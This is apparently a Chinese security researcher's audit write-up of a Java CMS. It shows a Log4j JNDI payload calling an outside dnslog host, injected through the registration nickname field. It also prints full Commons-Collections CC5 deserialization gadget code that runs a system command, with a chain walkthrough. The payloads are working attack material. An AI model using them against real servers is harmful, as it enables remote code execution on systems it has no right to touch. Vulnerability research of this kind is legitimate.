0x01 前言
前两天xz社区的某位师傅,已经分析了该cms。所以本人在该原有发现漏洞的基础上,进行了更深一步挖掘。
该师傅的文章:https://xz.aliyun.com/t/11137#toc-5
环境部署不做过多讲解,简单说一下遇到的"坑":
在该项目的resources配置数据库以及redis。redis和mysql的密码都是通过aes加密的,工具类在:
com.feiqu.common.utils.AESUtil,避免了明文展示密码。
0x02 Log4j
首先跟着复现了一波fastjson的反序列化,但是JSON.parseObject无可控点。
第二处,redisString.get这里,是由xz的师傅已经分析过。无利用点。但是在上面中发现了logger.info()。
所以现在测试一下log4j这个洞,可以发现是存在的
public class Test1 { public static void main(String[] args) { Logger logger = LogManager.getLogger(logtest.class); logger.info("${jndi:ldap://17zuzp.dnslog.cn}"); } }
所以在com.feiqu.web.controller.UserController中home函数的944行,是一个绝佳的利用点
经过测试,在注册的时候填入payload即可。
在根据提供的GetMapping得知url地址为:127.0.0.1:8080/u/12/home。
日志信息
DNSLOG回显如下:
经过在注册的时候,也存在log4j的使用。
payload还是在昵称这里,可以看到前端页面中name对应了FqUser工具类中。
接下来无脑操作打dnslog测试
至于其它的log4j利用点就不找了,相对于该师傅找到的log4j利用点,本人找的两个是比较容易利用的了。
0x03 collections3反序列化漏洞(失败)
在包中发现了该组件,这就用到了CC链系列了。这里用CC3版本。因为本人在进行测试CC4版本的时候。其中有些类不能被序列化了~这就凉凉。
直接拿CC5打就行了
Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] { null, new Object[0] }), new InvokerTransformer("exec", new Class[] { String.class}, new String[] {"calc.exe"}), }; Transformer transformerChain = new ChainedTransformer(transformers); Map innerMap = new HashMap(); Map outerMap = LazyMap.decorate(innerMap, transformerChain); TiedMapEntry tiedmap = new TiedMapEntry(outerMap,"keykey"); BadAttributeValueExpException POC = new BadAttributeValueExpException(1); Field field = BadAttributeValueExpException.class.getDeclaredField("val"); field.setAccessible(true); field.set(POC,tiedmap); ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("cc5.bin")); objectOutputStream.writeObject(POC); objectOutputStream.close(); ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("cc5.bin")); objectInputStream.readObject(); objectInputStream.close();
简单分析一下CC5这条链的过程。
利用链如下:
1 ObjectInputStream.readObject() 2 BadAttributeValueExpException.readObject() 3 TiedMapEntry.toString() 4 LazyMap.get() 5 ChainedTransformer.transform() 6 ConstantTransformer.transform() 7 InvokerTransformer.transform() 8 Method.invoke() 9 Class.getMethod() 10 InvokerTransformer.transform() 11 Method.invoke() 12 Runtime.getRuntime() 13 InvokerTransformer.transform() 14 Method.invoke() 15 Runtime.exec()
前面的不过多讲解,相信大家都能看懂,这是一个命令执行
Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] { null, new Object[0] }), new InvokerTransformer("exec", new Class[] { String.class}, new String[] {"calc.exe"}), }; Transformer transformerChain = new ChainedTransformer(transformers);
接着往下分析
Map innerMap = new HashMap(); Map outerMap = LazyMap.decorate(innerMap, transformerChain); TiedMapEntry tiedmap = new TiedMapEntry(outerMap,"keykey");
LazyMap初始化如下,会将transformerChain存入到factory
之后在LazyMap.get中调用到了transform
那么谁会调用到LazyMap.get呢?
在TiedMapEntry初始化会将LazyMap作为第一个参数传入
所以此时关注有没有map.get方法,这样就会调用到LazyMap.get方法
又又又一个问题,TiedMapEntry.getValue()谁会调用?
而利用链中写到了,TiedMapEntry.toString(),其实toString调用了getValue(),从而调用到LazyMap.get方法
谁会调用TiedMapEntry.toString()?这里通过反射,将val设置为了TiedMapEntry(tiedmap)
BadAttributeValueExpException POC = new BadAttributeValueExpException(1); Field field = BadAttributeValueExpException.class.getDeclaredField("val"); field.setAccessible(true); field.set(POC,tiedmap);
最后在readObject的时候,执行了toString方法。
但是在最后,只找到了一处readObject,所以说这个漏洞是失败的...
至于后续SQL注入的话,找了好几个,但参数都不可控,也就放弃了。